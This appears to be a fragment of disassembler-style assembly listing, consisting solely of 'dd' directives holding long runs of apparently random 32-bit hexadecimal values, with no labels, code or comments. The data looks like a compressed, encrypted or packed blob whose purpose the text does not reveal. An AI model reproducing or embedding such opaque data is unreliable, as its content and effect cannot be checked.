		dd 824ACBh, 5F291FB0h, 0B399003h, 6CDC23F4h, 273CB15Ch
		dd 5AA35868h, 0EB3CBE33h, 5AB41750h, 0B306E088h, 8064305Ch
		dd 4E5D102Ch, 80E85B29h, 6C5FBD22h, 11B5385Bh, 67A90804h
		dd 0BC2A3B12h, 2644C6DEh, 0D3EA07C5h, 60616B73h, 0DE1DBFE2h
		dd 6C2B4C0h, 1A39AC19h,	2EF03FE9h, 5E9C4F70h, 2F7B1C02h
		dd 10644078h, 0EF9DC908h, 6093C8FFh, 2E5E9D44h,	11176840h
		dd 0E1104B65h, 0AF15DD03h, 2CF0640Eh, 9235D8E9h, 293DEE5Ch
		dd 5194713Ah, 59094168h, 0CFCFED57h, 42FEA501h,	5580C95h
		dd 595F0640h, 3B4D9D01h, 0B6DDE98Ah, 172058BFh,	0BB31CEAAh
		dd 686E505Ch, 0D5985813h, 6C094FE2h, 2C5834Ah, 0F308ED9Dh
		dd 0BF41D71h, 0BAC0759Ah, 0F2B931D5h, 0C6E85E0Bh, 0F77CB7FBh
		dd 0D26A4163h, 0F0304376h, 0F0690C66h, 4DF806E1h, 0E412AEAh
		dd 7A504925h, 2AF89DE1h, 0E8324002h, 60F93186h,	9552C76Ah
		dd 552498F7h, 732AC053h, 0BB273641h, 8B79E903h,	2FFB293Fh
		dd 0B8F08334h, 570F32BFh, 425B1B7Ah, 60EAA5h, 0A1251805h
		dd 3AFB0C5Fh, 8E68C626h, 94C5962Fh, 0DF89EB0Bh,	7B529481h
		dd 0F3FC4150h, 2C0DA456h, 9092E904h, 0B1C7BCABh, 35F86852h
		dd 0E9771BE2h, 58034ABh, 653D3036h, 72C51328h, 5EF2B122h
		dd 6EC2802Fh, 684EB0E6h, 0C8AF1F4Bh, 5A5C5D65h,	14C97594h
		dd 7F2A66BFh, 0A331FDC3h, 697E12Bh, 58B25C08h, 48C70520h
		dd 0B812A6B0h, 6FDEC95Ah, 515C3A9h, 0D29E68B4h,	587BB00Fh
		dd 6BFD6815h, 6134504Ah, 12F44E01h, 6E9C2FBAh, 1E1F5EF6h
		dd 562092E9h, 30311748h, 9C305C3h, 0FC467426h, 144DC2Fh
		dd 7EB06C7Ch, 0C465C4BFh, 95E93809h, 0DC939A0Fh, 0E84C254h
		dd 7B55101h, 3E00BC2Eh,	0AD7BA7BFh, 0E92E887Ah,	72C3046Ch
		dd 2CD04647h, 1F542B6Ch, 0F908EAC1h, 0FDD9A80h,	5AD02191h
		dd 0ED7C0505h, 50C34115h, 0E9BF0958h, 0AFD3C6BDh, 4F8FD0A5h
		dd 0B908804Ah, 863D54C6h, 670C1346h, 998062BFh,	0C8AAA351h
		dd 58FA7697h, 0B190555Eh, 8D57010Eh, 1621D973h,	945CF8E0h
		dd 4E072019h, 81D0AA59h, 5C9F2DCBh, 66005D3Dh, 0E9130729h
		dd 3EB9E49Bh, 0E0036B3Ah, 5AB33984h, 1C31BF6Ch,	463A7699h
		dd 0B526B290h, 0AD5EE37Dh, 1B4291F1h, 0AB345D1Ch, 0F8F2E925h
		dd 20CB992Ah, 0B42C1DFAh, 2EE3807Eh, 0E937020Ah, 4837EF4Dh
		dd 48F246B4h, 0C2E00BAh, 0D7013A6Ah, 552CC853h,	0A00DCB26h
		dd 72442918h, 0AF4FF1AFh, 0A53CDC0Fh, 4B138345h, 0D1FF1E00h
		dd 622668EBh, 6248F36Fh, 0DAB7FBC4h, 0A1524E3Eh, 0D18A2B08h
		dd 0CE812DCh, 0E6F55AD0h, 2D4C0358h, 0B638B96h,	32EF0F93h
		dd 0B5FF3BBh, 0D73AAE68h, 0ACD182B3h, 5D303B5Ch, 4C201FF9h
		dd 0D5248F6Eh, 0EF7A162Bh, 0E1063792h, 33923730h, 3F61AAE5h
		dd 0AA042870h, 809248BDh, 0C61E91E4h, 0EF0A5Eh,	29AF563h
		dd 0A72C6849h, 166A7274h, 7273AE00h, 0C2FB807h,	29EC7C28h
		dd 96592BF6h, 0C04B9E4Fh, 812DDEABh, 36203F46h,	0EEC2DB29h
		dd 7EE90881h, 34893FA5h, 0D77813Eh, 6F49F511h, 5B83F314h
		dd 55D4BAB9h, 0B449AA01h, 21CD012Ah, 5908023Eh,	294F214Ch
		dd 0E94142BFh, 37AF6CE8h, 0D3D8640Bh, 808EB200h, 0B0504AE2h
		dd 0F6509F95h, 8697F6ECh, 5E2E0411h, 5A0DB84Eh,	41532768h
		dd 6C0B3AB9h, 0D1C257C3h, 9820C6DAh, 274A7689h,	0DD9C6EBEh
		dd 0F44926FCh, 854351CFh, 0E4F78055h, 0A09642A0h, 3DD6D244h
		dd 0DB90B9A4h, 0B6BA0156h, 313D9110h, 0D2E9AC3Ah, 0F8CC77A1h
		dd 1032002Dh, 565F69D0h, 0D4993E9h, 404E9E65h, 0A6EA1251h
		dd 0DEF4C53Bh, 5AA2A4ACh, 0C9E9D5B0h, 162B585Dh, 0BC2D5456h
		dd 17BC2E84h, 0E141C09Eh, 75901231h, 282C37A0h,	770C5B27h
		dd 0B27C6FE2h, 9979E20h, 6D1558Ch, 0EFF049h, 54D67744h
		dd 3CE36853h, 0A79218BDh, 595A8649h, 0C9DFBEACh, 0DAF2F761h
		dd 0AF5144F4h, 7568349Ah, 0CAAE414Bh, 0D8307DB7h, 0F75F0A29h
		dd 0B7CC9DDFh, 8103FF60h, 918F6EFh, 15E9669Ah, 0BF4A3ACh
		dd 58963210h, 0FDFFF90Eh, 0F0DCE942h, 71AC455h,	0E68F51EEh
		dd 0B129D4C5h, 0A9E26F50h
		dd 39F76882h, 6CB72666h, 50BC2F26h, 587C0F6Eh, 139AC45Dh
		dd 8CD8F131h, 0BB28440Ah, 870EF004h, 17F42129h,	8E501861h
		dd 2CB8C427h, 0E9352E05h, 0A1203ED3h, 17195414h, 0C0EF0145h
		dd 92F0CE3h, 0F84EC479h, 0B35F00A6h, 0E5EC5EE7h, 0B03F2F55h
		dd 5C79B72Ah, 0FE351A02h, 5DBE0F02h, 0DBF7D040h, 0BC315197h
		dd 4F38D32Ch, 60979961h, 0BCD77402h, 8FA48741h,	0AF7812CEh
		dd 5125D2F3h, 465AD25Eh, 5FF92727h, 0D7A9FD64h,	30D53434h
		dd 28611CB8h, 2EEB8096h, 865139F9h, 0D9FBF488h,	0B3FBFBE4h
		dd 32F6F1FDh, 14FC1874h, 0A454DB59h, 9D18C81Dh,	6FF18107h
		dd 9C7B9844h, 0B13F8418h, 0FE0AB654h, 19DDB800h, 0BE294400h
		dd 2A94337Eh, 0E9C61631h, 0AD93400Dh, 0C4501805h, 0D801290Fh
		dd 7BD79F57h, 0F00423C0h, 2CD03A28h, 0D8BF5A39h, 9D4A2313h
		dd 6A74972Ch, 0ED3B0AB1h, 1805D29Fh, 8DAAE5D8h,	0A354E442h
		dd 8A8C10DFh, 7CD10A0Ch, 0CEFB5DEEh, 0C218675Eh, 0F86AA846h
		dd 49F62375h, 0F2EB851Ah, 5FFA85F7h, 386889B0h,	0BF4A4F5Ch
		dd 0C555FD8Eh, 20016D7Ah, 66BF29DBh, 0EA1263Eh,	57E68EB9h
		dd 30AEC661h, 14A6F4F5h, 95E81ADDh, 0ADC4314Ah,	9242FABh
		dd 6B4B2EE9h, 1CD2A8A2h, 0C2311CD1h, 3A00E558h,	2B976CA0h
		dd 0FC9DE926h, 6929BA87h, 0FCBA19E4h, 0B5811A15h, 64708EA1h
		dd 0A9EF0FC3h, 86E9C2C3h, 0FC797FACh, 68515581h, 7ACC0E99h
		dd 0EBE91659h, 6F2B9D85h, 6913CD4Dh, 9FD99551h,	0FC97BF01h
		dd 3CF41201h, 75600997h, 0DC55A312h, 0B895851h,	0BF2D5E80h
		dd 9099D2h, 86635BFAh, 0C1C2EACDh, 8C6B6728h, 50793A3Ch
		dd 0CD1E8190h, 25040C04h, 8282EDD1h, 4039DE55h,	0B252D4F6h
		dd 0CAFE6A1Ch, 0E7444CB7h, 93208437h, 1AF0BAB8h, 3EB02398h
		dd 2519DC95h, 6680135Eh, 0E94EAA5Ah, 6889A892h,	0E17B54A3h
		dd 3A809551h, 0E681FE87h, 703EA209h, 0DAD08312h, 266A9621h
		dd 9D464BDFh, 3599C9D9h, 0C30132A2h, 7C5D494Ah,	91815CBAh
		dd 0B25303AEh, 95A858A3h, 74DA2957h, 1CF7E95Dh,	0A8875B5Dh
		dd 1C9AD3D0h, 0AB5A0C4Dh, 92A6322Ch, 85B27E3h, 6CA04DFh
		dd 0D70B2782h, 30269218h, 42645B0h, 5C12B9A0h, 0D731B662h
		dd 28582A23h, 0D420282Dh, 4DA94234h, 7F895E02h,	8EC073ECh
		dd 0D70D36EBh, 0FB012E17h, 0BD0822F3h, 734A1858h, 0B468E7C0h
		dd 3F16B77Dh, 7BE5648h,	6F447A8Fh, 4B689CEh, 9BC1296Eh
		dd 0A0052F23h, 53B755ACh, 830B6B4Ch, 5A30E6DBh,	4C437CAh
		dd 5F6C2D73h, 180FE9Ch,	5A27D85Ah, 0EC5D124Ah, 0C8E5F08h
		dd 1CB5A150h, 0AEB7539Fh, 65718FAh, 0D778F6B4h,	2FB1C758h
		dd 0DD836271h, 57957816h, 203A8E15h, 0A92D4B0Dh, 755E27D1h
		dd 0B12436E4h, 209FF609h, 4533524Fh, 0AFE89E3Fh, 1CE165DBh
		dd 0AECC6B40h, 0EC355EBDh, 0DE13827Eh, 1A89FD48h, 8C17A0DDh
		dd 0BD721ECCh, 0DCC19DBh, 0E25C955Ch, 0AB4EDDCBh, 0EC5A6998h
		dd 0F1E6251Dh, 0BDF9755Ah, 1714963h, 169F6CE5h,	2FFD319Ch
		dd 925D4A98h, 427C97BEh, 6D243851h, 7725BD5Ah, 0CBF60005h
		dd 14735C5h, 0DD4FE9F8h, 18BBBB00h, 0BFE62ADAh,	2BF63C69h
		dd 69B87700h, 392DF831h, 0D258D0F7h, 3F89BF3Bh,	78D41358h
		dd 0BE1003Fh, 0A0E98F66h, 817C9919h, 31AFF581h,	0C2C370E4h
		dd 5E1D6BBDh, 2029A50Ch, 449FC985h, 1BDC3h, 0F913ED03h
		dd 202A3582h, 0E9A0087Ch, 50804C86h, 30021EB4h,	947596E1h
		dd 795A818h, 7B8E6B2Dh,	90B4ED3h, 48CA682Fh, 5AD5B1DFh
		dd 0AE5DD57Ah, 2DEA1B85h, 927292D2h, 52FF86D5h,	0FA57123Ah
		dd 0AB12448Bh, 6D74BA25h, 110FC904h, 4933A6AAh,	0FBBB80B7h
		dd 9060DE44h, 51A94067h, 603F74BDh, 643267E2h, 985AECB7h
		dd 12AD0214h, 0D1F71378h, 2F37B41h, 325D6130h, 5E726034h
		dd 4B05CB64h, 3151C761h, 5A78D923h, 0E424AB9Ah,	608329EFh
		dd 0F9B59687h, 26FA2790h, 0D8769C0Ch, 12FE0C59h, 0AED1D4F4h
		dd 6F3B1C4Dh, 1403EAF8h, 0AF73342Eh, 0D4586A06h, 200F1835h
		dd 8066F538h, 31105ECAh, 8DE91822h, 0ACBF3A21h,	39D90718h
		dd 5F10E5CAh, 0E6D4C06Ah, 3B0DE03Fh, 2C1BB0E9h,	95828317h
		dd 8E7A7707h, 3BAD6824h, 989FB9Fh, 98A87149h, 0A968A39Fh
		dd 549D0570h, 3AE97095h, 21F84155h, 8445E099h, 0B31289B1h
		dd 0E202D7A9h, 185E0888h, 4CF88880h, 2D0569DEh,	5A2B0BB9h
		dd 178084BEh, 6888FB07h, 81555BE9h, 2C454D1Eh, 760F145Bh
		dd 3D1A13A4h, 0EBB83535h, 0B75CE9A0h, 0DCA03D9Ah, 9A4C5A48h
		dd 0DEBA259Ah, 0D0018AB6h, 0BC4F16FBh, 84E0A5CCh, 980192BCh
		dd 0A03B9A8Bh, 9D16419Eh, 2297DDEEh, 0D15295C8h, 2135027Dh
		dd 425743F7h, 5B0702D0h, 4A9AE2E9h, 0AA1AF7C7h,	0BCA27660h
		dd 8D6FD19Fh, 82C92CEDh, 0A80D88BCh, 1A6835Bh, 16FBB34h
		dd 0FD0906BAh, 0ACD631E8h, 3635E836h, 532445AAh, 7EA1C9BBh
		dd 5B0C33C1h, 0C5BBA22Fh, 0F5E87320h, 0C64C4h, 662E69BFh
		dd 6781A11Fh, 16BFF66Ah, 28F51CCBh, 25A170FEh, 99DF9868h
		dd 127EBD69h, 4BE78A4Ah, 4A429936h, 1D9EB75h, 19C0E93Fh
		dd 591E48D5h, 9D938B20h, 68C11A76h, 0A36A20C1h,	5DEA86A5h
		dd 120C746Ch, 9431347h,	0D957A15Ch, 20B5A645h, 0C95CBDD0h
		dd 247F76E9h, 0A428446Eh, 55BE4A5h, 0F0C407A3h,	0E31889Ch
		dd 6B806E1Eh, 68FCF5D2h, 972CE5Ah, 55DF0AE9h, 79C236F1h
		dd 12902249h, 3EB77594h, 0B8ED4E71h, 2CAF5F87h,	0F62E6868h
		dd 7D72D420h, 44E68C2h,	39EABD27h, 0F36ED11Dh, 0C10292CAh
		dd 501FEE9h, 446DC859h,	7655A0AAh, 0F0D7F22Ah, 49BE0015h
		dd 4652847Ch, 7400EE81h, 1DA83C8h, 94BBE9F3h, 4D92538h
		dd 0AF71721Dh, 7D48CCF4h, 606DF458h, 0BF6612F5h, 51750EBAh
		dd 212FB913h, 0D8E1C303h, 0E90A0F55h, 41CC0373h, 0AAF0F10Eh
		dd 0BCAB31F9h, 0B3F78CCAh, 3FC30AC8h, 0B24C4E97h, 16EB1064h
		dd 2533005h, 0F31129ABh, 65C9E84Ah, 981BA893h, 6141BBDDh
		dd 2CE37A84h, 1D81813Dh, 0EA17808Bh, 6C5B5DBBh,	0BED35C29h
		dd 80909A20h, 2FB1243Fh, 49AF8EAh, 0EF465C05h, 2DBFC236h
		dd 0C15A0781h, 0C18DFFE0h, 0AF3BE139h, 2511D2BAh, 0C4DDE2E9h
		dd 9276B568h, 0C8E0D356h, 0B8795076h, 7D3B1300h, 0B235E0D1h
		dd 86E4306Fh, 0B02B7FC0h, 54940B4Bh, 0D3E90804h, 0E80D30D3h
		dd 13EB12Dh, 53545B25h,	0DCCC056Fh, 38CCEFECh, 6F93A58h
		dd 16AE21Fh, 8805ACAh, 8B9577E9h, 0E730D50Dh, 2324A6B9h
		dd 0E1036E01h, 765634B4h, 257809D2h, 97584130h,	0EFE94917h
		dd 0BB5BB7BDh, 118B871Eh, 58ABC848h, 14C02823h,	19180C88h
		dd 4E180FEDh, 0C202FD7Dh, 0DBE9F029h, 85A6762Bh, 477464Ch
		dd 12136BE7h, 0B553BA0h, 73190BDh, 5E0F3C02h, 2C23268h
		dd 1FBB6813h, 0CB69AF62h, 0AD9CEB4Ch, 257E10F3h, 8EF1ADBFh
		dd 0C534958Bh, 51A10B1Dh, 0B5B1069Bh, 6737308Bh, 8C9C7D95h
		dd 760C542Fh, 4D98747Bh, 4F280E59h, 0EFF505ACh,	8FC7D13h
		dd 9474EA4Ah, 2588F7FEh, 0A716FDCBh, 999CEB5h, 572766E7h
		dd 0FCFCAA77h, 4545090Bh, 0ECE2AD65h, 54C2F223h, 1E031515h
		dd 0F6CB9E43h, 98145D0Bh, 0E152C57Dh, 2AA05BD0h, 350B0CEDh
		dd 700C0EC0h, 287E1B12h, 13C7C4FBh, 2EF30108h, 0CE54944Ah
		dd 7A60A0E0h, 601A7B2Fh, 2E6C62A3h, 0F01294Dh, 7C2873FBh
		dd 9786C700h, 9AB2E974h
		dd 3CBA01DEh, 31132367h, 4BC832D0h, 57272CFCh, 898B85D9h
		dd 0C5CCF5C7h, 0E89184Dh, 985BDD09h, 9A372EB4h,	50D208Eh
		dd 1C5C5EB0h, 0A41B2F95h, 17BBACBCh, 1279AC4Bh,	0ABA33B59h
		dd 2429BA5Eh, 0B5B81881h, 5C5D760Bh, 2540FAB0h,	3A729DB8h
		dd 4DE12952h, 8A1950FBh, 7B9FA7B2h, 77CE224h, 0BEB90409h
		dd 55398A95h, 847408FDh, 0E852B75Ah, 51C2322h, 3744D8C2h
		dd 642CFB4Ah, 677A01EAh, 0E953BA85h, 310D34D7h,	576EA39Fh
		dd 0A29CE154h, 8562AD3Eh, 31AF3CA5h, 81918A3Ch,	3E23CE73h
		dd 0B67E4187h, 923876ADh, 0A88C2480h, 0E208DE02h, 3272705Ch
		dd 0AC585714h, 9942E1h,	3D7758B8h, 302761F8h, 50EDF348h
		dd 238B117h, 8BBA08C4h,	0E4305ED0h, 25808DB1h, 375C4F1h
		dd 0C846C934h, 5028D4E9h, 0E3F997CBh, 0AC8CBE05h, 40D02FF7h
		dd 0D8B26543h, 0CC16C25Dh, 3E350960h, 4AE0251Fh, 771211C5h
		dd 0E2ECD1FEh, 0A3DF25Ah, 9B354668h, 4860B49Eh,	0A586A55h
		dd 0A443441Eh, 177009C2h, 24934DCh, 0E6770385h,	5BF5B00Eh
		dd 0BADED47Ah, 509892B9h, 0FB00649Ch, 2B872553h, 4BE92DE0h
		dd 39D2E1B9h, 60B9F89h,	0F358F468h, 42FF2A5Ah, 0B3A6E93Dh
		dd 0A73E7CE7h, 8AC27D88h, 12921E57h, 0E60CDE68h, 0E4E90B50h
		dd 0FE16D7FAh, 4FDE7920h, 7524FD05h, 0BD2EFA9Fh, 632747F1h
		dd 159A17D8h, 5E94620Ah, 2A7810C2h, 0C8837B95h,	80703985h
		dd 40BF16B7h, 11F328E7h, 8224148Bh, 7E4AC380h, 21C18B56h
		dd 97689855h, 4471DFFCh, 81A76B74h, 0A45F2Dh, 0A811C068h
		dd 81EE6497h, 883F2029h, 0F32E037Ah, 5A40803Ah,	9067B55Ch
		dd 73BE092Ah, 0BDA5268Ch, 5F080BEDh, 0D50139DFh, 0E9179B32h
		dd 54AA82FEh, 2EC9457h,	1EFDBE56h, 0FBC17A1Ch, 0EB0DACF9h
		dd 0E8BD4E12h, 1C955B10h, 0F39FCE89h, 0EE5AF8C9h, 5391F68Dh
		dd 2778E108h, 0FCA01486h, 307BB37Fh, 0F758E32Dh, 0C07E314h
		dd 4DE9C6FEh, 1A8F9F9h,	76AE6627h, 933D7089h, 271DBBF5h
		dd 9B1721Eh, 0A189F7BAh, 48140578h, 4A92E16Bh, 802EDE1h
		dd 0E659DD5Ah, 53BF3593h, 14C7EDD4h, 4A3DCF12h,	2D4FF5A8h
		dd 67A82E34h, 0A97FD2E2h, 0FE1B84A7h, 0AC5F2BB6h, 0DFAF4E43h
		dd 41644FC7h, 92FAD885h, 0F0575DF0h, 63D1BD4Bh,	97645550h
		dd 965B673Ah, 9523017h,	0EE1C38ECh, 1CFF2D32h, 9FB780C3h
		dd 6182AFh, 72006F31h, 490C4E35h, 6D2D0705h, 0F47B6673h
		dd 595FF06Fh, 89D6C5B5h, 0D8F929D7h, 0C6570D89h, 0F8B29A61h
		dd 9C4E5C20h, 135268F0h, 3E7B9624h, 53B8A4E4h, 812BEF5Ah
		dd 43F2E917h, 0F0319694h, 819C693h, 0AB7ED6F7h,	0EC403935h
		dd 27683560h, 9F467BA4h, 3E645CB5h, 0F8310A93h,	0E195C9F0h
		dd 0A06E84F1h, 89BFFD61h, 69215192h, 4B807955h,	3240EB71h
		dd 12465B29h, 4DEF2BE9h, 0F251D9C5h, 314B2A45h,	52775F90h
		dd 5D0BC632h, 219983F7h, 2C527DDDh, 50F3C7AEh, 8ABC8927h
		dd 7261C281h, 0B83A669Eh, 85084194h, 0B6A2E971h, 0C15C1EF9h
		dd 58630FA7h, 0E7EB982Ch, 0E0B4E883h, 0C3927BB1h, 39745277h
		dd 0F7494F9Eh, 8D985516h, 5B01DC20h, 0F0ACC55Fh, 16408A93h
		dd 2370268h, 48580D7Bh,	4205E5C0h, 61F2261Dh, 88DBF942h
		dd 488A7FABh, 4A624F7h,	0F23D1D68h, 5150C0A4h, 9D1A4BE9h
		dd 0E5B70AE4h, 13E90DE3h, 0D477F27Fh, 32C4CF3Bh, 7E0BD6Fh
		dd 4F85ACD1h, 30AA33B5h, 32685633h, 0CAC5083Bh,	473D98BFh
		dd 8EE75DF4h, 4827450Ch, 0AFAC0239h, 94232C9h, 464DA4C0h
		dd 2F2C795h, 0F747E7D1h, 527804FDh, 7766AAB0h, 7BCF265Fh
		dd 825964E3h, 0BBF06C07h, 6ECBFE97h, 8B3B4A9Fh,	554E89B3h
		dd 5220EB66h, 0D2BA0B09h, 4604DF1Bh, 9BFFCFBh, 72CD015Bh
		dd 0CCBA7390h, 2909BF81h, 8731EF77h, 212A95FDh,	0BF3D9C3Bh
		dd 6D70BE0Ch, 0C81C91Ch, 4E4026CFh, 465B7554h, 0BF28ECC8h
		dd 68555B90h, 0D41DE72Ah, 64971B70h, 0F1F7244Fh, 65261518h
		dd 73CBBC4Eh, 32EBFC4Ch, 2B481166h, 0C5665DFh, 2D54D431h
		dd 0D5CC3A03h, 0E8C22190h, 7342E2D1h, 67E80C81h, 6B3E0989h
		dd 77542A01h, 0C324E525h, 4E496920h, 0FAA75081h, 5FD60B73h
		dd 8B00395Ah, 210949B7h, 3D653EC0h, 622973BDh, 9E0F7CC6h
		dd 87909946h, 7DB0FE72h, 132A5F48h, 0A7310A47h,	0A1E85752h
		dd 7BDB0079h, 0E7814F5Fh, 0A5272A80h, 0EB005F67h, 0ADC8EF0Fh
		dd 27D3D6BFh, 0A6048BD0h, 16FC42Ch, 49D99FAh, 2ECA820Ch
		dd 0F72D5F02h, 48EB3FD1h, 941D391Ch, 0BBFA6270h, 5B94E009h
		dd 7EC53E11h, 0E672FF7Dh, 82F33084h, 906B5830h,	19BAC8C3h
		dd 0D58723C8h, 0C44904DEh, 4774D985h, 229ED2D8h, 0AD098C9Ah
		dd 35F4E37Dh, 811C2D8Ah, 0A8234CE2h, 0B103EC0Dh, 29575E30h
		dd 62ECFDCAh, 0B32D5B01h, 3BEDE905h, 0FE64D613h, 0D2D5A7C2h
		dd 0F9C55B88h, 83D0412Bh, 174EDDE8h, 110C031Fh,	11AED2Ah
		dd 1A1284E5h, 14010C08h, 2F65EBE9h, 0CA4EE9E3h,	55590089h
		dd 0A0503FBDh, 0B1E9131Ch, 0D734A3A1h, 8C4413EAh, 33093062h
		dd 1573705h, 0BE960B9h,	9554F9C8h, 0FD5A127Fh, 0EAFE4FD8h
		dd 0EFF29D5Bh, 5F356880h, 0BC2DE975h, 24475126h, 0BA06127Ch
		dd 0A65AEBE2h, 0C3EB250Ch, 0E821E1F0h, 687E82E3h, 3980514Eh
		dd 3BFBD8C1h, 106E284Ah, 42947BB0h, 0A30ED68Bh,	0E997C675h
		dd 272B376Ah, 68E0303Ch, 18954EA3h, 0E11BB925h,	93FCFD7Ah
		dd 4ADD6C21h, 0A400562h, 0BB994B58h, 445A6ACAh,	0AAD830E4h
		dd 247ACB99h, 8444FE75h, 29C0FA1Fh, 9D7055Bh, 2D0C7F1Ch
		dd 0AC38E355h, 0E942F0AAh, 6EC1B27Eh, 0FE596C04h, 0E63F24F4h
		dd 0B8054FE8h, 991D92B9h, 808C5B13h, 44B70153h,	0C780DFF6h
		dd 0ADE7CC14h, 0E925FE76h, 0A6800E63h, 0A08AF9DAh, 2D2BA11Bh
		dd 0E5D4FABh, 4A93618Ah, 12A564CBh, 0E943DCDEh,	6FF5DD2Eh
		dd 14054F6h, 82D78F2Dh,	0B8A03EB8h, 0A2CB5F01h,	275235D1h
		dd 0E55CDD04h, 502B20BFh, 317C0549h, 30AC512Ch,	4123A682h
		dd 887ED420h, 0DF2F2A3Eh, 9050D00h, 68137CAEh, 50AC5044h
		dd 908A5C4h, 28DFE559h,	1CE01D9h, 7CE9452Fh, 568C3ACAh
		dd 539408Dh, 0D1BDEBB7h, 939EA104h, 41AEC761h, 2BC66A5Eh
		dd 0C0BD0922h, 9160665Ch, 3034BE77h, 0E90B95B8h, 939E03B7h
		dd 787A0881h, 2C304661h, 66040F22h, 41B3294Dh, 3E03D135h
		dd 1412A7CDh, 95890DEh,	453A1C32h, 880A9FEh, 0DF781705h
		dd 3C5E9E28h, 0B95AF4Ah, 0B6871B4h, 369061EBh, 56C2F0DCh
		dd 0BB05A64h, 29654107h, 2AA7E4FFh, 9583F249h, 0B27588EAh
		dd 0B6126896h, 1AC10B6Dh, 8A2489E9h, 8F2B825Ch,	183E84D4h
		dd 6618EA71h, 0B917EEADh, 4BFB3E10h, 8519A442h,	1D9FBB5h
		dd 806B88BAh, 0F2A86012h, 0CA30C874h, 19E50C5Fh, 0AE2E618Ch
		dd 2427F0E9h, 380A5745h, 0FA5E211Ah, 0D4435204h, 0DCCE0980h
		dd 3B2D262Fh, 14E602ACh, 5585D5Ch, 0B5230322h, 70F408FAh
		dd 0A741A55Ah, 123E3F63h, 5033B62Eh, 0D50CEA48h, 0CC6B9F2Ch
		dd 34D961CEh, 5066C520h, 0E5800217h, 0BEC03D39h, 5153AD03h
		dd 98D75AF8h, 1213B286h, 6017A6E9h, 8E2E3937h, 4820055Ch
		dd 8A7D1219h, 498388FBh, 8EFBFE4Ah, 0A0B45E55h,	2029BA01h
		dd 5052DB1h, 57DA30A8h,	4FC380AFh, 52422042h, 4E12A050h
		dd 86D6901Eh, 2640B862h, 1276B008h, 5C07013h, 422E4F7Dh
		dd 9F8683Ah, 0E9E2BEF1h
		dd 2F5D7E78h, 86541AFFh, 0BFF73EA0h, 0D9E5DF5Ah, 0C7B560F8h
		dd 9EC131F7h, 26E059C2h, 25C6C22Dh, 7DB64960h, 0D6198328h
		dd 69124004h, 60EF019Eh, 4BF5E9FAh, 7F95BA80h, 427F3D1Ch
		dd 163F0C98h, 2D3ABD66h, 0CAB04A59h, 13B948Ch, 690F7EBFh
		dd 70FF2F3Fh, 321CE974h, 0EB533FCEh, 0D59DE206h, 409D26B4h
		dd 915350A2h, 10CA0CBFh, 5E775828h, 971DAC58h, 0FF0452BAh
		dd 45BAD752h, 0EEEAB771h, 9F13F58Ch, 218F8FD1h,	454E44F0h
		dd 527023FBh, 0AF2647C9h, 0B05416BBh, 236955C4h, 0A5879C97h
		dd 7A4BC141h, 0B921CE6h, 0ABA97AA4h, 5319D97Dh,	7A1F28C1h
		dd 3EC6E141h, 0F640ECDAh, 93C3295Fh, 8F660CC0h,	0F651779Eh
		dd 2CEF2B8Bh, 3A40580Ah, 0AFE20481h, 8051AA2Ah,	9E733005h
		dd 91220E6Fh, 1354ED00h, 1168AD5Ch, 0ECFF1464h,	8E4A0FECh
		dd 1A6E591Fh, 23F13A60h, 93FD31E6h, 0F8085EEFh,	1AD2785Ah
		dd 0F688BC32h, 0C9F89D99h, 17D4D757h, 5D376D62h, 47240DE7h
		dd 349011Ch, 0A5D2D7A2h, 1093C8CEh, 81EC2927h, 0ECB83EA0h
		dd 0A0894382h, 0B04E2735h, 0DFD6037h, 3159CD89h, 25E9F512h
		dd 6368D247h, 0E292C4D5h, 122D4BB3h, 0AC06E370h, 2BE704A3h
		dd 0ACEA7F4Bh, 190A1513h, 0CCA3896h, 0C233626h,	6607140Bh
		dd 0A429F843h, 0DDD2FB7h, 0AC7A0C92h, 394662F7h, 0F8CDAEBh
		dd 0AFE5E84h, 59F74367h, 6AEEEA40h, 66A44150h, 0A25B1440h
		dd 5F165DCAh, 0F484BEC5h, 410BF898h, 6C702090h,	7E974C17h
		dd 9E38BE1h, 1361E90Fh,	557C406Eh, 18D349FAh, 0BAD72CFFh
		dd 24397C3Dh, 0CC023803h, 892DF01Dh, 952905BBh,	0F68C07FFh
		dd 0E979012Ah, 7E9F255Eh, 29F472D1h, 62E1282Ah,	46E2465Bh
		dd 9D9F8192h, 8F3B7CC0h, 66C22650h, 5537A12h, 0B5728C68h
		dd 2207AF5Dh, 325F1513h, 0C3C7F9C0h, 0AF8F1269h, 5FFC2C57h
		dd 0E9DBF70Bh, 0EE8F0D2h, 0D3C68058h, 2865C561h, 0D6EDE1F5h
		dd 3A6311D7h, 0B741FE3Ah, 649D4CFAh, 5E39A500h,	0FC747775h
		dd 51B222C7h, 4833DDC3h, 3265960Eh, 0B3B777FEh,	0A1D4105h
		dd 9E852DBEh, 88BE4638h, 55264B67h, 0ED03A89Ch,	1185359h
		dd 443C450Ch, 44F5297Eh, 0C081AE9h, 0C05E1404h,	0A9029844h
		dd 90A7204Ch, 7F5D2508h, 0E9173614h, 4BF49748h,	0BE06D306h
		dd 9C385B0h, 28A690Eh, 0D5C58477h, 0BEFF2DB1h, 4ABEF204h
		dd 0FABF9537h, 0CA290B47h, 0D2C5E8D2h, 5C581213h, 0FF591CF1h
		dd 0B2AF77DFh, 56F4736Fh, 27F3818Eh, 0FD2B6387h, 0A8A753A4h
		dd 12BE5BBEh, 9DB1FA2Ah, 0F2D0F92Eh, 0FF42E9h, 206B8C1h
		dd 2D3C1CFBh, 0F90B49C9h, 90717EA2h, 1F01BCD4h,	1134452h
		dd 841C778h, 971A9720h,	608CC271h, 0BEADF82h, 692E7564h
		dd 0E533DF83h, 0D70167C8h, 0F99FE92Fh, 0D1146260h, 79C18303h
		dd 79A80F1Ch, 0C0C4C2C5h, 0FC051367h, 84E25FCAh, 99F72D7Eh
		dd 2BC355FEh, 60550B34h, 4759FEF3h, 0A413F42Ch,	184835B6h
		dd 6825024Ah, 4BF1627Ch, 95045A82h, 8DE92156h, 773F8FD4h
		dd 61300D40h, 0C940E938h, 15D805Ch, 0B3B3D848h,	0BCE82755h
		dd 0C1B6125Dh, 9D6EF147h, 0E01BEC4Fh, 514CF692h, 0D9921AEBh
		dd 0AF80FF39h, 3754630Ch, 2E6C117h, 2E26CE07h, 0CD7E0039h
		dd 986D34ADh, 0C8ED094Dh, 845737E3h, 1BC15D7Bh,	0B881FB99h
		dd 913FF3BFh, 5A137B2Ch, 6A0404BAh, 278E103Ah, 0E31B08F0h
		dd 2EC22302h, 0BC58579Dh, 2C1EC959h, 0AB1A064Eh, 4BDB6EFBh
		dd 314FB942h, 929F7A7Bh, 87FED755h, 60F2369Ah, 18A40507h
